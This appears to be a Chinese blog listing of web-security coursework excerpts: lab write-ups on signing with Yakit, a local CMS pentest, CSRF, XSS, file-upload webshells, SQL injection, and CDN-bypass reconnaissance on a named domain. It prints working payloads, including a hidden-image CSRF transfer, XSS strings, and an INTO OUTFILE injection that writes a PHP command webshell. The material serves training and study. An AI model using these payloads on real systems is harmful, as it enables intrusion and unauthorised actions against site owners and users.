yakit使用热加载进行签名验证与加密,序列使用|Web - Yakit使用1、通关yakit验签与数据加密yakit靶场签名验证
加密部分关键代码function generateKey() { // 固定密钥 return CryptoJS.enc.Utf8.parse("1234123412341234") // 十六位十六进制数作为密钥,将1234123412341234的十六进制数作为密钥 }// 加密方法 function Encrypt(word) { console.info(word); // 进行SHA256加密并转化为十六进制 return CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString(); }
yakit热加载代码// 使用固定密钥和HMAC-SHA256算法生成签名func sign(user, pass) { return codec.EncodeToHex(codec. ...
Read more
渗透测试练习|Web1、在主机hosts文件绑定域名,内容为自己姓名缩写,要求使用域名访问靶机的cms编辑hosts文件,添加
192.168.142.144 wyh.com
域名访问测试
http://wyh.com/cms/
2、针对域名进行渗透测试,编写渗透测试报告与漏洞挖掘报告两个文件信息收集指纹识别查看网站指纹信息
目录扫描爆破
漏洞挖掘目录遍历漏洞1
目录遍历漏洞2
信息泄露
弱密码后台登录框输入账户密码,弹出用户名和密码不正确,但是出现弹窗大概率是在前端进行了验证
找到代码,看来是后端验证
使用yakit尝试去爆破,发现一个数据包状态和响应大小和其他包不同,猜测测试出了账户密码
尝试登录admin,123456。登陆成功
反射型XSS漏洞
存储型XSS插入留言
后台管理员查看
SQL注入看见一个搜索框,尝试测试一下sql注入,在搜索框中搜索123'发现页面回显数据库错误信息,那么肯定是存在sql注入无疑
使用order by 尝试注入输出数据列数,发现15列会报错
14列正好没错,可以确定这里有十四列数据
尝试查询出数据库名
http://wyh.com ...
Read more
越权、代码(命令)执行、JWT|Web资产:IP、域名、网段中有一些交换机路由器等设备,网上有漏洞给管理员发链接重置路由器
越权如果使用A用户的权限去操作B用户的数据,A的权限小于或等于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
水平越权相同权限级别的用户之间,其中一方能够访问或操作本应仅限于另一方的数据。
垂直越权低权限的用户能够执行本应仅限于高权限用户(如管理员)的操作。例如,一个普通用户能够访问管理员的后台功能。
普通用户访问管理员后台
普通用户执行管理员操作
如何挖掘查看数据包是否有用户名,修改后页面是否有变化
对cookie值作修改判断,使用authz插件查看有cookie和没有cookie数据包大小
修改参数:对于所有请求(URL参数、POST参数、HTTP头如X-User-Id)中的标识符(ID、用户名等),尝试将其修改为另一个同类用户的标识符,观察响应。
权限切换:准备两个账号,一个高权限(admin),一个低权限(user)。用低权限账号尝试访问高权限账号的功能链接或请求。
抓包重放:使用Burp Suite等工具截获一个用户的请求,然后将 ...
Read more
CSRF、SSRF、文件包含和文件读取|WebCSRF(跨站请求伪造)通过伪装成受信任用户的请求,欺骗浏览器去执行攻击者预设的操作,如转账、修改邮箱地址、修改密码等。如果受害者拥有管理员权限,CSRF攻击甚至可能危及整个网站的安全。
成因 Web身份验证机制的固有弱点:浏览器会自动、无声地将用户的认证凭证(如Cookie、HTTP Basic Auth等)附加到每一个发往对应站点的请求中。
挖掘用户资料修改(邮箱、密码)
资金转账(金融类应用)
内容发布/删除(博客、社交媒体、后台系统)
购买商品(电商平台)
任何其他需要权限才能执行的操作
利用方式GET请求型CSRF这是最简单的一种,通常利用<img>, <iframe>, <script>, <link> 等标签的src属性,或者<a>链接,自动发起GET请求。
<!-- 假设银行转账接口是GET请求 --><img src="https://bank.com/transfer?to=attacker&amount=10000" width="0&qu ...
Read more
文件上传与WebShell管理|Web - 文件上传文件上传判断黑白名单
大马、小马
webshell管理工具:
菜刀
蚁剑
冰蝎
哥斯拉
处理内存码:servlet管理,重启中间件服务,github开源工具
内存码:不落地
1、通关文件上传靶场1,2,3,4,10关卡关卡1首先尝试上传一个带有<?php phpinfo(); ?>代码的 1.php文件,出现弹窗不允许上传php后缀的文件,多数情况弹窗一般是前端代码做验证然后弹窗
通过浏览器查看前端代码,发现是前端代码验证,既然是前端代码直接从浏览器删除即可
删除调用函数的模块重新测试
删除调用模块
上传webshell文件
验证
关卡2同样先上传一个1.php进行测试,提示文件类型不正确
查看源代码,发现通过form表单的post方法传输,那么就是后端对文件进行验证了
查看后端代码
<?phpinclude '../config.php';include '../head.php';include '../menu.php';$is_upload = false;$msg = null;if ...
Read more
XSS漏洞|WebXSS漏洞|WebXSS漏洞(跨站脚本攻击)XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到提供给其它用户使用的页面中。
<script>alert(/xss/)</script>
DOM型不经过服务器解析,整个漏洞利用过程发生在客户端的DOM(文档对象模型)解析阶段。攻击者构造一个特殊的URL,其中包含恶意脚本片段。当用户点击这个URL时,网站的JS代码会错误地将恶意片段当作正常内容写入DOM,从而导致脚本执行。
<!-- 一个页面有下列代码 --><script> var welcome = "Welcome, " + document.location.hash.substring(1); document.getElementById('msg').innerHTML = welcome;</script><!-- 通过构造 -->https://example.com/welcome.html#<img src= ...
Read more
SQL注入代码审计|WebSQL注入代码审计|Web1、参考sqli-lab靶场优化第一周编写的cms,将注册功能,登录功能优化,新增修改密码功能注册优化<?phpheader('Content-Type: text/html; charset=utf-8');$db_host = '127.0.0.1';$db_admin = 'root';$db_passwd = 'root';$db_name = 'cms';$link = mysqli_connect($db_host, $db_admin, $db_passwd, $db_name);$post_id = isset($_POST['account']) ? (int)$_POST['account'] : 0; // 转换为整数$post_user = isset($_POST['name']) ? mysqli_real_escape_string($link, $_POST['name' ...
Read more
SQL注入其他方法|WebSQL注入其他方法|Web1、使用手工注入的方式写入一句话木马先决条件是否root用户(查看配置文件)、绝对路径、配置文件(secure-file-priv=
具体实现以sqli-labs的Less-1为例
首先尝试注入测试
?id=1222' union select 1,2,3 --+
尝试写入恶意代码发现报错
?id=1222' union select 1,<?php system($_GET['str']); ?>,3 into outfile 'D:/phpStudy/WWW/3.php' --+
# 方法一将<?php system($_GET["str"]); ?>做一个十六进制编码?id=1111' union select 1,0x3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e,3 into outfile 'D:/phpStudy/WWW/2.php'--+# 方法二 ...
Read more
SQL注入练习|WebSQL注入练习|Web1、使用sqlilab演示数字型注入和字符型注入的区别,以及四种sql注入类型,截图说明每一步的含义数字型注入首先参数id没有使用单引号’’
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
在url拼接?id=1
在url拼接?id=2-1
在url拼接?id=2
根据上面三次查询发现?id=1和?id=2-1的查询结果相同,在数字型中?id=2-1MySQl会先计算表达式2-1得到结果1,然后才比较id字段和计算得到的数值1,所以?id=1和?id=2-1在数字型中查询的结果是一样的。
字符型注入参数被单引号’’包裹
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在url拼接?id=1
在url拼接?id=2-1
在url拼接?id=2
根据上面三次查询发现?id=2-1和?id=2得出的结果相同,说明在字符型sql注入中2-1并没有进行数学运算,因为MySQL直接将2-1这个字符串转换为数字来比 ...
Read more
信息收集练习|Web信息收集练习|Web1、针对xiusafe.com域名,尝试绕过cdn,把可用的手段都用一遍首先使用 chinaz.com 网站的多地ping功能去查询 xiusafe.com 的IP地址,发现解析出来很多地址,可以判断这个网站使用了CDN服务
接下来尝试绕过CDN服务,首先登录网站发现这是个博客网站,那么通过邮件服务器发送邮件方法就行不通了,但是又没有国外IP这个方法也行不通。
接下来使用yakit进行子域名扫描发现除了主站没有其他子域名,那么通过子域名绕过CDN行不通
尝试去其他网站直接跳过域名查询真实IP,在这个网站上发现查询不出有用的信息
查询域名历史,使用微步查看域名信息可以看到历史解析记录和whois、资产测绘等信息
使用网络空间测绘平台进行搜索
hunter:
domain=”xiusafe.com”
zoomeye:
domain=”xiusafe.com”直接搜索域名发现也只能出现域名
下面换个方法,使用标题搜索title=”xiu`s blog”,成功找到IP:39.101.199.238
fofa:解析出IP: 39.101.199. ...
Read more